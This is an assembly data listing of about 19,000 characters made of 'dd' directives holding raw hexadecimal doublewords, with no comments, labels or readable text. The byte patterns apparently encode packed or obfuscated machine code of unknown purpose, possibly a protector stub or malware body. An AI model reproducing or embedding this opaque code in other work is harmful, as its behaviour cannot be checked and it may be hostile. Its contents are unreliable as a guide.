dd 0E9061215h, 0FFFFFF6Bh, 50708B33h, 0E21DFFB3h, 0DA7AC146h
dd 8DA1AF80h, 18EFDC8Dh, 0C28B5106h, 0A18D895Eh, 6A061209h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h
dd 40000000h, 8CE3C350h, 9E8A5h, 0C9F70000h, 8C310934h
dd 609E7BB3h, 0CD91D081h, 13E96C9Dh, 0CD000000h, 16C959CFh
dd 2FA86AE9h, 0A8931748h, 847119BEh, 58618C96h, 50585C7h
dd 59FC0612h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 190424h, 57470000h, 4EDD01C3h, 232A9E2Fh, 12141185h
dd 0C7FB8B06h, 121BD985h, 6, 95BD8900h, 0FF061206h, 120CD1B5h
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h
dd 0C3564600h, 89B589B6h, 0FF061229h, 121B3195h, 48E0F06h
dd 66000000h, 6ACF39BFh, 0CD95FF00h, 8B061219h, 5B69EBC0h
dd 0FB66681Ch, 0D787DFB1h, 936610CEh, 127E98C9h, 92F0F99h
dd 0B648486Ah, 0AF8478E4h, 857797A5h, 0F4EFD92h, 9794028Ah
dd 4AC1364Ch, 9D2B390Dh, 0D9941C47h, 94768102h, 1838897Bh
dd 0E0C92B55h, 1F9395Bh, 0F3C99C71h, 8E018C7Fh, 987C3E82h
dd 6541EABBh, 2B5A5460h, 379AB084h, 3BA480A9h, 594BA251h
dd 3EBAEC1Dh, 0BE8h, 0B0D49C00h, 0AB5CE4CAh, 0E6904A4h
dd 5BFEBF0Fh, 8159F952h, 60E7C3h, 43BE6600h, 180B687Ah
dd 665A0000h, 943AE681h, 0BE6633FFh, 8B58D447h, 1209B1BDh
dd 62C08106h, 8B78FFFEh, 1214F5B5h, 73F08106h, 0F6C4D6Ch
dd 0E881F9BFh, 0CEE2A98h, 14E857h, 3DA0000h, 0B7AB8D45h
dd 9BC47B21h, 4782A1EAh, 36C1EA3Bh, 5F59D32Ch, 0B9B58950h
dd 8F061212h, 6D8D3103h, 83061203h, 294B03EBh, 121D7D9Dh
dd 1EA8106h, 0F000000h, 1285h, 0B1958900h, 0E9061234h
dd 24h, 0D1F8A5F6h, 893D07F3h, 1206E9BDh, 0FF7AE906h, 0B695FFFFh
dd 0E2EF9CEFh, 58A74630h, 5ACE4165h, 7207624Dh, 0CE8h
dd 1CFBE300h, 1BF9C308h, 0DCBB2A5Bh, 0D6816682h, 8B591F68h
dd 0F1C181D1h, 3100006Eh, 1207D1B5h, 1B89B806h, 5E80000h
dd 35000000h, 0D6A6F456h, 92F68166h, 398B5B3Eh, 10A5B501h
dd 0F7810612h, 70546C59h, 5BF3B757h, 3490EF81h, 8D0F0F7Fh
dd 3, 813FF380h, 95638AEFh, 0D1B50977h, 57061201h, 8FF0B70Fh
dd 61B58901h, 81061217h, 2FE8BAE9h, 11E867h, 2A0B0000h
dd 8480C98Bh, 7F1EC877h, 0A65C71C1h, 0B7282B0Eh
dd 0C1815A72h, 672FE8B6h, 19E98D29h, 0F480612h, 1E85h
dd 6E800h, 0FB050000h, 8BF83FEEh, 2C09958Bh, 0E95E0612h
dd 1Ah, 0B37F40DBh, 8BBAEEFCh, 0FF70E9DAh, 914EFFFFh, 675CC060h
dd 3EA26276h, 7E8FD1Ch, 50000000h, 0A2DC5B95h, 81668FE8h
dd 58C90DCEh, 0A753CE81h, 0C0815978h, 5A39h, 1C419509h
dd 15B90612h, 81351633h, 16254CF1h, 0CE935h, 4A130000h
dd 5067A6B7h, 0DF56EE20h, 30FFBF92h, 0DACA8166h, 0F9605F64h
dd 7E8h, 7FF99F00h, 68894B72h, 615BD68Bh, 41B4C781h, 0CB812311h
dd 160024B7h, 70A5C781h, 853156E9h, 6121501h, 60EEF81h
dd 0DFB24137h, 0FD9D0B57h, 8F061219h, 85B53100h, 83061202h
dd 81F904E8h, 1E9h, 1F850F00h, 0E9000000h, 0Bh, 6ADB9C9Bh
dd 581D2D12h, 0E95D26DBh, 30h, 6471F949h, 69185C83h, 9E8DDDAh
dd 1E000000h, 0F43CD313h, 76276B84h, 0C8DAD681h, 0E95A1AE4h
dd 0FFFFFF6Eh, 10139558h, 60924635h, 8334FBFBh, 89A07582h
dd 78146908h, 0BB8DA6DCh, 86363747h, 8635A12Eh, 18D92590h
dd 5302548h, 941A2C99h, 23F2514h, 86302598h, 97D59807h
dd 89302350h, 8630A1A5h, 0F7B5E390h, 0C8363760h, 863021CCh
dd 0C4E76512h, 0C2BB75A1h, 86BB21A0h, 821461CBh, 8F85DA79h
dd 0B3637BAh, 934F10CDh, 0DE0DA22h, 0F7B5E3E2h, 0C8363721h
dd 8630216Ch, 0C4E76542h, 0C2BB7589h, 86BB21B4h, 821461C1h
dd 6385DA7Ch, 0B363703h, 934F108Ch, 0DE0DA82h, 86209CBAh
dd 8ED92521h, 20302590h, 863EA047h, 8D792524h, 76B52ADBh
dd 6FCFDAF6h, 86302589h, 0CB85B8CFh, 83882333h, 79302590h
dd 448DA8ABh, 0B363DD6h, 9EC3B49Fh, 0A3229D0Fh, 491BA3B4h
dd 89A07582h, 78146908h, 0BB8DA6DCh, 86363747h, 8635A12Eh
dd 18D92590h, 5302548h, 831A2C99h, 0A4F305E9h, 22B9h, 5B8D8D00h
dd 6A0618F4h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 14042444h, 46000000h, 5233C356h, 12E8h, 45E2C200h, 0A33CB076h
dd 4A4B0581h, 8A6E6AFFh, 0FC87CF3Bh, 8D895B5Ah, 61209A1h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0AEC35747h
dd 0C28B6650h, 50585C7h, 655C0612h, 0B58B0000h, 6121869h
dd 1BD985C7h, 612h, 95230000h, 6121581h, 1D2DB5FFh, 9D8B0612h
dd 6120289h, 1B3195FFh, 0DA8B0612h, 63B86653h, 6A5EAAh
dd 19CD95FFh, 0C08B0612h, 48116FEBh, 0A136EC59h, 0DCF75116h
dd 0A6D6963Eh, 5C6B190h, 1C04694Ah, 206F21A3h, 0F1A71D7h
dd 2AA38FA6h, 2DCAEB33h, 0F8069085h, 1B73D3B8h, 5B6F6265h
dd 1E8C860Eh, 0FF17549Bh, 92804791h, 72B00C2Ah, 0E6A774A6h
dd 1C4E783Eh, 2B2F81EDh, 0E60084FBh, 9A3725F1h, 46642E44h
dd 586EA8E3h, 5CA94B52h, 0BAF30E7Eh, 4CC0709Bh, 4EEA6669h
dd 21E93Eh, 0DEC90000h, 6744h, 6 dup(0)
dd 0E9000000h, 87Ah, 0CAA1609h, 20BE281Ch, 38D63830h, 4EEC5248h
dd 6301695Eh, 34299BF6h, 473E2ECCh, 5C5545E3h, 746E5EFCh
dd 18797816h, 1FB7FA7h, 297B8E76h, 2D8D865Ch, 72350C3h
dd 3F396FE9h, 0BFAE43E1h, 0F087924h, 9269FB1Ch, 0AA2C5F20h
dd 2CBA4EB4h, 10EF5933h, 3066C62h, 0A91215ADh, 7376DED3h
dd 0C4D5B21h, 0DB73EBC2h, 3CA49971h, 2F25FB9Eh, 4874C6C9h
dd 35BAF596h, 13EB55EDh, 9E10BB19h, 200D9E5Ch, 6E953E6h
dd 0F5F85650h, 714020D9h, 867B1977h, 0DE2FB52Fh, 7076h
dd 1A0F1C00h, 5E9507B2h, 0D93D0DC3h, 157D726Ah, 1D12C8ABh
dd 40340AB5h, 6D896CD6h, 1005D4B4h, 0BE150AA8h, 5D81D83h
dd 45h, 0B21A0FABh, 0E50D7E07h, 5F6FE907h, 7853AB24h, 0DE2C2B09h
dd 13409174h, 296FE9DBh, 16CCCF31h, 0F5B7BA20h, 3A2D9C7Ch
dd 0F7ECBB9Bh, 160EE48Fh, 0F15BB1B4h, 4FAD073h, 0EBE59B9Eh
dd 0C48BF58Dh, 2Bh, 0B21A0F72h, 0D8383107h, 1882ECE0h
dd 7BAE435h, 651E6FE9h, 97A0385h, 6FE907E1h, 0BAC9EE8h
dd 6A7E3DDDh, 9B9068D2h, 5C419533h, 282B8F86h, 0E0EB68D2h
dd 1C45B661h, 2D69FB03h, 2E26DCDFh, 463E2ECCh, 6D6339E4h
dd 5FBA9D07h, 0B92AD56Ch, 700D1300h, 2B8BB09h, 0EBA1A40Eh
dd 358B8EF6h, 0DFE2463Dh, 0BB2A0AC3h, 0ADA37922h, 5C3CDD47h
dd 9533958Dh, 0C738ADA5h, 6FE9139Fh, 1DC860AEh, 0A80F88ABh
dd 0E9E10F37h, 3CD01E6Fh, 77131F8h, 0FC9BD324h, 44BD6FE9h
dd 120CE264h, 0F4F75F54h, 0C49C069Eh, 78CC6ACCh, 82DE6D6Ah
dd 150FEA04h, 15695BB7h, 1D86C30Ah, 43EAD5h, 5C900000h
dd 73A62D3h, 0E0416FE9h, 0E907476Fh, 7008566Fh, 72C54C5h
dd 0E5336FE9h, 7201FE7Bh, 0C3EB5C16h, 0CA6FE907h, 225C207Ch
dd 31A2170Fh, 6FE90709h, 0D4CAC210h, 7D156B6Eh, 20195521h
dd 20h, 7E6D6ACEh, 0CC222585h, 0BBB38934h, 5CB3EF59h, 0E907C3EBh
dd 3A96246Fh, 170F225Ch, 195559B5h, 6357150Fh, 0D5E61F9h
dd 6FED8873h, 9C6B4B02h, 0C39944A2h, 7FFD67CDh, 2F329A8Fh
dd 191C8479h, 0E26444FDh, 0AEB1150Ch, 16F1C458h, 91E0E0A8h
dd 0F25A4F27h, 0A0085F54h, 514FD821h, 0F5000000h, 0B4B7150Fh
dd 4BBC5259h, 6FE90723h, 9944DC2Ah, 686BC9C3h, 941DA812h
dd 5E61C9BEh, 822B9E08h, 8B69FB15h, 0B5BF8641h, 443D5FEAh
dd 9B44CE4h, 89E70F80h, 0A8F675FBh, 47FE5B3Eh, 1A0FE567h
dd 767048B2h, 65D77A18h, 1D830CD4h, 0A8E44E6Fh, 0CB7150Fh
dd 7EA1283h, 0A3F16FE9h, 4B4EB6ABh, 4DA88BF5h, 173FB05Eh
dd 2D6FE907h, 7BD1D434h, 0EB962E7Ch, 0FB1F217Ah, 7C1A6869h
dd 3134928Ch, 0AD8595E0h, 694900F1h, 0B91711E7h, 1EF660B6h
dd 921BC624h, 4979F921h, 48B200F2h, 82E0DACAh, 4640167Fh
dd 258FE5E8h, 731EA5A8h, 0D842A69Dh, 8D13DC4Dh, 0E56EEC5Bh
dd 5B754C74h, 0D0553F4h, 6C4BB513h, 75729A0Bh, 2B79F45Bh
dd 0D8DB3933h, 0F84CEA82h, 82DE6D6Ah, 150FEA04h, 0EA5C5BB7h
dd 2698D9E1h, 313653DAh, 0BCD61h, 2478F660h, 1D86C30Ah
dd 38EAD5h, 6A900000h, 5C82DE6Dh, 0E907C3EBh, 52481E6Fh
dd 55A382ECh, 77DFD4AAh, 0B923897Fh, 0F225C7Dh, 810AB517h
dd 0E907E810h, 0A208FE6Fh, 0FC4A499Fh, 19555692h, 3820h
dd 6D6ACE00h, 865C82DEh, 0D52B2E8Ch, 1B85E3DDh, 7F71F90h
dd 0D2606FE9h, 0F225C76h, 810AB517h, 0E907E810h, 5349F76Fh
dd 0FC94EAEDh, 0CA555692h, 22556B58h, 0A50FA862h, 0B7150F69h
dd 87C963B4h, 0FDB46FEDh, 0F6544E1Dh, 0B736858h, 0D4C99F08h
dd 352A026Ch, 1215736Dh, 52124BCh, 0A89D6C4Ch, 0C8BF9540h
dd 0B6AB6164h, 0CE4CB64Eh, 21FB82D9h, 49C9D8h, 0F6F0000h
dd 59B4B715h, 4E24CF52h, 38A29654h, 0DD47DF35h, 0FA57C952h
dd 0F7F0B1E6h, 0B1C639A3h, 5069FB4Dh, 0EBA2FF02h, 2417890Bh
dd 91FBEFDBh, 0A8A4388Eh, 0B526D1EEh, 75FB328Dh, 0CE44E9Ch
dd 4E54B812h, 22427511h, 0F98EC8Ah, 0FF5D5715h, 0B0EA6FCh
dd 7B26BDB0h, 75981F2h, 72676FE9h, 0C5BD0B0Ah, 76016BCDh
dd 0FB1D4C05h, 842F7D69h, 21628AFBh, 1B6975FBh, 0BA9033B1h
dd 45A5DC5h, 865C5E9Ah, 3B312991h, 127CD2D5h, 0AD099895h
dd 150FEA04h, 62FA6257h, 0A156906h, 0D51D86C3h, 6CEAh
dd 736B4100h, 0F004BF15h, 0D76FE4C6h, 0C2281ED4h, 67D169BFh
dd 90865C2Bh, 4643C02Ah, 76E76257h, 6FE9074Eh, 0DF770F5Dh
dd 0C3EB5C83h, 1E6FE907h, 0D5F0B8ACh, 6ED84993h, 71ECE18Fh
dd 0E99BD800h, 199E76Fh, 0EA5448FEh, 390FBA52h, 88DEE13Fh
dd 225CE21Eh, 31A2170Fh, 6FE90709h, 0BABD1F17h, 7F176564h
dd 20195523h, 31h, 0DE6D6ACEh, 0C3EB5C82h, 246FE907h, 6F98369Ah
dd 23BBF388h, 62D35CC7h, 6FE9073Ah, 0FE89F341h, 0B5170FC4h
dd 41CA5559h, 0E907A8D0h, 0FF69B76Fh, 0B7150FC3h, 87C963B4h
dd 655B6FEDh, 837ED403h, 7D151F62h, 6BCBC47Ah, 241A1268h
dd 9E57BBBEh, 0FB04FBEh, 0DADD4339h, 34928C84h, 0D071DB31h
dd 0C92721F0h, 83413B2Bh, 8F922A8Ah, 0FFAA3934h, 14AE0476h
dd 243873DBh, 0F15247BAh, 0A5F369FFh, 8C5588FAh, 3F551604h
dd 42B457D5h, 5DA31AF2h, 21160EC7h, 6A134FB9h, 21897E6Dh
dd 9B042D89h, 6ACEC5h, 91865CC4h, 77DA516h, 3E8C6FE9h
dd 0C93AA3A6h, 6FE907A1h, 58C25AA8h, 0A4158680h, 6FE9077Ch
dd 15003983h, 7105C37h, 697BD76Fh, 86C30A15h, 2DEAD51Dh
dd 41000000h, 71F47B8h, 0E02E6CE9h, 6D6A3A76h, 0EB5C82DEh
dd 6FE907C3h, 5C207CCAh, 0B5170F22h, 20195559h, 35h, 4DB3A97Fh
dd 4E8AF44Ah, 82DE6D6Ah, 5892EA5Ch, 70A1C7C3h, 0E20A7B06h
dd 436FE983h, 225C59B5h, 3A62D35Ch, 486FE907h, 91E7EA54h
dd 2DA4492h, 554CA80Ah, 0B7150F19h, 87C963B4h, 0FDB46FEDh
dd 0F6544E1Dh, 0D443B558h, 0D3FB6CF5h, 0DA6FED32h, 54DFF88Ch
dd 4E48208Ah, 4BBC45F0h, 6FED9023h, 8F72DC2Ah, 0FFAA3934h
dd 0FFAED98Eh, 0FC9AE869h, 298B8359h, 2A66D026h, 82DE6D6Ah
dd 150FEA04h, 15695BB7h, 1D86C30Ah, 962698D5h, 1BE3C741h
dd 26F12A94h, 97000000h, 847E6D6Ah, 35CD2326h, 0C3EB5CD9h
dd 0CA6FE907h, 225C207Ch, 5B55170Fh, 0CA4FAFDh, 201955B0h
dd 4Dh, 0DE6D6ACEh, 4AD35C82h, 0E907B1D9h, 739B0C6Fh, 7A6FE907h
dd 75DF2D2Ch, 0E907DA02h, 299A3B6Fh, 6FE90701h, 0E043BE08h
dd 2EF17BFAh, 0AE640296h, 4B05715h, 225C106Ch, 0AB5170Fh
dd 7E81081h, 0A9F76FE9h, 865C033Fh, 31C32D8Dh, 0B7150FF5h
dd 0CF5259B4h, 203EB324h, 81CF69FBh, 0A60800D6h, 65E34DA3h
dd 9B46DDD0h, 40B322Ah, 88FD970h, 30163F2Ah, 0F0A6A941h
dd 0AFA98F6h, 7E07B210h, 0F3F4E50Dh, 3CA6F46Fh, 867EF059h
dd 0B3C3B7C4h, 5B970A74h, 710EBF8Ch, 5A10137Dh, 3BFD0062h
dd 0D177E2C2h, 0C35E868Ch, 33D4730Bh, 0EC0ABBC1h, 1C861ED3h
dd 0D2CC9B7Bh, 0ECE6D674h, 0DFD58B8Eh, 601F7679h, 2F28FE80h
dd 7C14786Fh, 615A24E8h, 8EF89C4Bh, 0B35EBCB6h, 0FF70E5DDh
dd 0D13F50D7h, 960098E6h, 0D02E2818h, 0F28CDh, 95D60000h
dd 0DB3F340Ah, 0FB9218DDh, 0AC16AEE0h, 0B01C0F70h, 9FFDF7ADh
dd 8DEDE69Ch, 79DDD48Ah, 63CBC076h, 4DB5AA60h, 389E944Ah
dd 25877F35h
dd 0E786C22h, 54554D0Bh, 4C5815Dh, 83000000h, 2C8704EDh
dd 0EF685C24h, 8900000Ch, 0EC812404h, 4, 81241C89h, 4ECh
dd 24348900h, 330DA7BEh, 46F68143h, 0C141700Fh, 0EE8107EEh
dd 0F9EB910Bh, 545EF089h, 81241C8Bh, 4C4h, 4EC8100h, 89000000h
dd 438F2404h, 241C8B08h, 81E78957h, 4C7h, 4C78100h, 87000000h
dd 0FF5C243Ch, 83582434h, 8EE904C4h, 59FFF982h, 0F8B844F2h
dd 30618FCh, 0DE0FFC5h, 0F13A2542h, 23996B1h, 0A900E46Eh
dd 0A5096756h, 0A10F1431h, 0AB468DA9h, 0EB05FDD7h, 826222B1h
dd 0B94C6298h, 0A30B24C6h, 0AC2FDB67h, 59667EEEh, 3814D6E4h
dd 483E839Ch, 8651CEA9h, 96502F97h, 0EE3A369Dh, 2C1F26D5h
dd 0AB45476Fh, 0D4368796h, 3159998Eh, 913BDF04h, 0E8496BBDh
dd 0Eh, 0B1EE9535h, 61C56554h, 0C8EF22E2h, 0FE8A5B66h
dd 0E381665Fh, 0C781C151h, 6D63h, 75E28166h, 67BBB859h
dd 0F0813F70h, 3F707C94h, 0EE8h, 0DEC99100h, 1E3BDB7Bh
dd 6AFC4FC8h, 80AF97ADh, 0FF5BEEC3h, 0CE95937h, 33000000h
dd 46248676h, 541493A3h, 8185619Eh, 227CB9C1h, 0D18B6663h
dd 0C90DC181h, 11E9486Ch, 7B000000h, 748FA1A1h, 0C1C76A5Eh
dd 92938169h, 0DD5ABECBh, 0E6A6F181h, 0DE8A7461h, 81665251h
dd 5E3C44D2h, 860F078Fh, 2, 0EF83DC8Ah, 4FDB8104h, 484ADCB0h
dd 0FF9D850Fh, 0BCBBFFFFh, 0E8708522h, 5, 0BF0755FCh, 0AE9E9h
dd 0A36E0000h, 33712E7Bh, 0FC4DFF8h, 17800F5Ah, 0E9000000h
dd 12h, 4A53800Eh, 0DE6A8FF7h, 3FBA4F56h, 0CB7D5B54h, 0C2813A33h
dd 62CEh, 0D881C933h, 0E9B8FC4h, 660A348Bh, 0C681FB8Bh
dd 702C308Bh, 0FE9h, 6EB24300h, 4F0492A2h, 0A307C978h
dd 87A2B5A2h, 4FB5EE81h, 0C6812E63h, 4DAF2911h, 2840Fh
dd 0FB30000h, 800F5656h, 4, 0E05B866h, 0A048F5Fh, 4B98B866h
dd 76C6CB81h, 0E983495Eh, 81666004h, 6643EEE8h, 9593E881h
dd 10F98161h, 0FFFFF9Eh, 1285h, 33E9F900h, 38000000h, 0D5926D76h
dd 3825D80Eh, 0E9BAEF84h, 0Eh, 1F4286ECh, 0F0A010B8h, 14257CC1h
dd 6DE9F556h, 6FFFFFFFh, 44508B53h, 0CF308ACh, 0C98B2A0Bh
dd 8D8D8480h, 6190038h, 2D65858Bh, 0B70F0612h, 0A18D89FEh
dd 6A061209h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1B042444h, 43000000h, 0B71FC353h, 294377E5h, 8589D8EBh
dd 6122A31h, 50585C7h, 60340612h, 58BB0000h, 0C76370BAh
dd 121BD985h, 6, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1904h, 0C3504000h, 0E793845Ch, 0D381D124h
dd 0FB2F8B0h, 1B85B5FFh, 6A0612h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1C0424h, 56460000h, 523CB1C3h, 2D8C4B47h
dd 5160EEE7h, 5BC78B66h, 16BEBF66h, 3195FF61h, 5306121Bh
dd 2919D8Bh, 6A5E0612h, 0CD95FF00h, 8B061219h, 7628EBC0h
dd 8BCC3068h, 117FEE3Bh, 0FB26D115h, 63047671h, 341D7130h
dd 0AC9C53Dh, 5AB7DE6Dh, 1300772Ch, 81BDA6ADh, 8DF73E9Fh
dd 1901448Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1D04h, 0C3564600h, 63952812h, 34373F53h, 8D89EAEFh
dd 61221A1h, 989997BFh, 0A18D8942h, 6A061209h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
dd 2A07C356h, 0BE09ABAFh, 5890F88h, 66000000h, 0AF80E081h
dd 50585C7h, 66B40612h, 0B50B0000h, 6120941h, 1BD985C7h
dd 612h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1A0424h, 55450000h, 4CA5C2C3h, 11F5335Ch, 3ED68166h
dd 2DB5FFA6h, 0F506121Dh, 95FF7EB3h, 6121B31h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0FFC35242h, 6A92AFDBh
dd 0CD95FF00h, 8B061219h, 0A36FEBC0h, 88EC8B5Fh, 33B68142h
dd 640F4837h, 1D911551h, 8290E14h, 1AD93C26h, 0A9A81467h
dd 1EA16E23h, 0F891F696h, 0D3A3069Dh, 37CF6B0Ch, 0D20927C4h
dd 46747780h, 0D146F2F3h, 1FABD5B1h, 4F70706Bh, 0C54FE734h
dd 431CA4C3h, 91199EFCh, 83C90C99h, 0EA2B20B3h, 0A44CADD1h
dd 752945D7h, 1F40BBFEh, 0FBD4C596h, 0E46095FFh, 7087B272h
dd 8D8D9E9Ch, 61902CDh, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 15h, 0E8C35242h, 0B99531F8h, 8906121Eh, 1209A18Dh
dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h
dd 0C3504000h, 12BE5334h, 0A74BE0D9h, 14E59D8Bh, 85C70612h
dd 6120505h, 7018h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 16h, 0B9C35545h, 0F6818C1Dh, 153EEF55h, 1BD985C7h
dd 612h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1B0424h, 50400000h, 48656C3h, 1D7B48F3h, 0D58D8946h
dd 0FF061222h, 122D69B5h, 0D9858B06h, 66061219h, 0FFCBF5BBh
dd 121B3195h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1C04h, 0C3534300h, 49EE3D7Fh, 88CFF61Ch, 68F0FAFh, 89000000h
dd 121FE9BDh, 0F18B6606h, 6870Fh, 95890000h, 6120345h
dd 95FF006Ah, 61219CDh, 1EEBC08Bh, 1B2FF190h, 0FA3ED861h
dd 0EE12A590h, 28F6EFF0h, 0FADB8C59h, 0E9E6A80Bh, 0C4C85DDAh
dd 10E8FE16h, 0E7000000h, 0AA05E64Ch, 0DFBB4B74h, 4EFC1321h
dd 0F9BC59B8h, 0FBB70F58h, 5AC2C081h, 8E680000h, 0F9000016h
dd 81666059h, 8B3B89EBh, 188B61F3h, 0B802B0BAh, 90EB8105h
dd 0E81D2433h, 5, 0F4E7E393h, 0F2816681h, 815E8399h, 1600E9EBh
dd 6850F3Eh, 8B000000h, 121B35BDh, 0DCC38106h, 0F913FF88h
dd 95031889h, 6121FFDh, 0F655E881h, 8D296161h, 6122365h
dd 0F651C081h, 958B6161h, 612162Dh, 0A3850F49h, 8BFFFFFFh
dd 123509B5h, 278D8D06h, 89061904h, 1226BDB5h, 14E906h
dd 0AAAD0000h, 0ACAECF6Ch, 4892FEBAh, 5C51CD80h, 27CC0C06h
dd 8D8949C1h, 61209A1h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 14h, 9CC35141h, 6E9h, 9F4B7800h, 0C70B5218h
dd 12050585h, 647806h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1404h, 0C3564600h, 0FEBF0F33h, 1BD985C7h
dd 612h, 0B70F0000h, 0B9B5FFDEh, 8A06122Dh, 3195FFE7h
dd 0F06121Bh, 180h, 6AF900h, 19CD95FFh, 0C08B0612h, 3E1E4FEBh
dd 0C6FE86E0h, 0DCD3B304h, 5E258EBAh, 0D16AB829h, 4531A2Dh
dd 47413C6Eh, 0E68D0EF0h, 173DBE64h, 0E0B2D52Eh, 784338EAh
dd 2BF3B51Dh, 0C7F511DFh, 6D94D052h, 58686EB8h, 0A2977ABCh
dd 0D15B7821h, 0B767D38Ch, 640B963Dh, 0CE91548Dh, 10E86Ah
dd 0CC6B0000h, 8E9194F4h, 4AE4F892h, 1CBD03D2h, 8166562Ah
dd 59914FD7h, 0E57DBF66h, 5EB3C181h, 0FB8B0000h, 68h, 6058FC00h
dd 1BD5B589h, 858B0612h, 6123181h, 834FF61h, 5EFBB70Fh
dd 28818589h, 0C6810612h, 48E412FFh, 1445958Bh, 0F6810612h
dd 1E373AECh, 10E960h, 1C140000h, 665177D3h, 126C3F42h
dd 0D9BD2E0Fh, 895748B9h, 1234EDBDh
dd 81615906h, 0D7E19CC6h, 56F88B01h, 8F0Fh, 48F0000h, 6D858901h
dd 0E906121Ch, 9, 0C2A3E728h, 1502E528h, 4E88344h, 16850Fh
dd 11E90000h, 0D6000000h, 0A18BC2ACh, 0F0EF1AD1h, 0A7D421E6h
dd 0C25AD506h, 0A24CF881h, 850FFFFFh, 28h, 0BE9h, 0D754DB00h
dd 334F45B5h, 37861B7Eh, 28E9h, 7643500h, 0F9C06354h, 5A69986Ah
dd 73BF51AEh, 775C70C7h, 1E6D9D8Bh, 3EE90612h, 0D7FFFFFFh
dd 9C28637Ch, 0BE151CD6h, 538D8DFCh, 1061906h, 1213D58Dh
dd 0A18D8906h, 6A061209h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 17042444h, 42000000h, 33DAC352h, 8D896B9Bh
dd 612351Dh, 50585C7h, 6E880612h, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0A11296C3h
dd 8D89DF1Ah, 6121B81h, 1BD985C7h, 612h, 6A0000h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
dd 0C287A4C3h, 31EC8224h, 0DE9h, 6499B900h, 10A5DE2Bh
dd 0A9071F37h, 0BD8950F0h, 61209A5h, 2381B5FFh, 8D890612h
dd 61229C9h, 1769BD8Bh, 95FF0612h, 6121B31h, 23059529h
dd 6A0612h, 19CD95FFh, 0C08B0612h, 270F39EBh, 417F9EAAh
dd 8392BBA0h, 0D639AEB2h, 989057D7h, 7217916Fh, 4B45593h
dd 899326F9h, 0E28E2120h, 2E3D3F99h, 0E8292E83h, 0FF98F5Ch
dd 173B728Fh, 5C15AA6Ch, 0E9D4162Ah, 0CEh, 419B1A0Ah, 0CA459CD7h
dd 0B6E1C8C3h, 0A7ACABDAh, 4592B395h, 0B395A1F4h, 0ECABDA00h
dd 915D20A7h, 0B1F46BB2h, 20752096h, 6BB79B55h, 92A5BCF2h
dd 7594A196h, 0B799603Ah, 99BD329Fh, 9CB2E9B5h, 0A3F292A5h
dd 0EF7695ACh, 4E0097B1h, 9FA5B4F9h, 7B6B5C00h, 8A924AF0h
dd 0F352D000h, 0F653F545h, 0D6D979A3h, 0E3AFF144h, 7D41F445h
dd 92B000D7h, 756BBF97h, 0BFCF60FDh, 93BCF996h, 207D20B2h
dd 0ABF79B57h, 9EBD9492h, 9DBCE3B2h, 899BE0CEh, 8F9D728Fh
dd 0B4EEA9FDh, 0E1B6F66Dh, 0ED7293BCh, 0D00097B3h, 0CD43F1B6h
dd 0F0A8h, 47000000h, 0E3129D74h, 5E99E0h, 5 dup(0)
dd 6AE90000h, 68000015h, 6190958h, 0F9788CE9h, 0A8168FFh
dd 82E90619h, 68FFF978h, 6190B6Ah, 0F97878E9h, 0CDE68FFh
dd 6EE90619h, 68FFF978h, 6190D80h, 0F97864E9h, 0E1F68FFh
dd 5AE90619h, 68FFF978h, 6190EE0h, 0F97850E9h, 0FB868FFh
dd 46E90619h, 68FFF978h, 619109Ch, 0F9783CE9h, 11E968FFh
dd 32E90619h, 68FFF978h, 61912C6h, 0F97828E9h, 141B68FFh
dd 1EE90619h, 68FFF978h, 619150Bh, 0F97814E9h, 166268FFh
dd 0AE90619h, 68FFF978h, 61917A0h, 0F97800E9h, 197468FFh
dd 0F6E90619h, 68FFF977h, 6191A83h, 0F977ECE9h, 0C32F22FFh
dd 0D7413525h, 0EF514939h, 56B6151h, 1A827767h, 42B00F7Ch
dd 5747E54Dh, 6E5EFC60h, 87771575h, 92912F8Dh, 0F98C031h
dd 94A77602h, 0B7150F42h, 2CE79A0Ch, 9B6BEE96h, 0FE54E31h
dd 3E27B51Bh, 886FDD58h, 0B4AE86F0h, 2823B856h, 0BAED1586h
dd 0DF506FE9h, 6FE9BAB7h, 2B7978C6h, 0E632B197h, 0F68E73DBh
dd 0CC1DDA4Bh, 0DE2C69FBh, 1139AA33h, 1875FBBCh, 2C7D60CAh
dd 75FBBC00h, 0F3C01E16h, 0CC3AAA0h, 25DBDE76h, 10766C2Ch
dd 0A0597578h, 0A27B51C0h, 5797EEC2h, 29DEDE30h, 35000000h
dd 0F1158C3h, 7FE90DBEh, 0E0636A43h, 11C3C435h, 0FC4A69FBh
dd 1E7CA8F9h, 0DBB475FBh, 91D027FBh, 0C217DE2Fh, 0BD000000h
dd 7675EA5Ch, 6EE33B24h, 0D4322C04h, 0BE261BD1h, 0AD0B05BBh
dd 9CFAF4AAh, 406173FEh, 0B9B36FE9h, 187A7248h, 0E9415D85h
dd 861E6C6Fh, 0A4FEF8E8h, 0B5EC85BDh, 0C435E00Ah, 6FE9E69Ch
dd 0BABD55A3h, 2AD56C5Fh, 0FBE610B9h, 2DCB1969h, 630E9598h
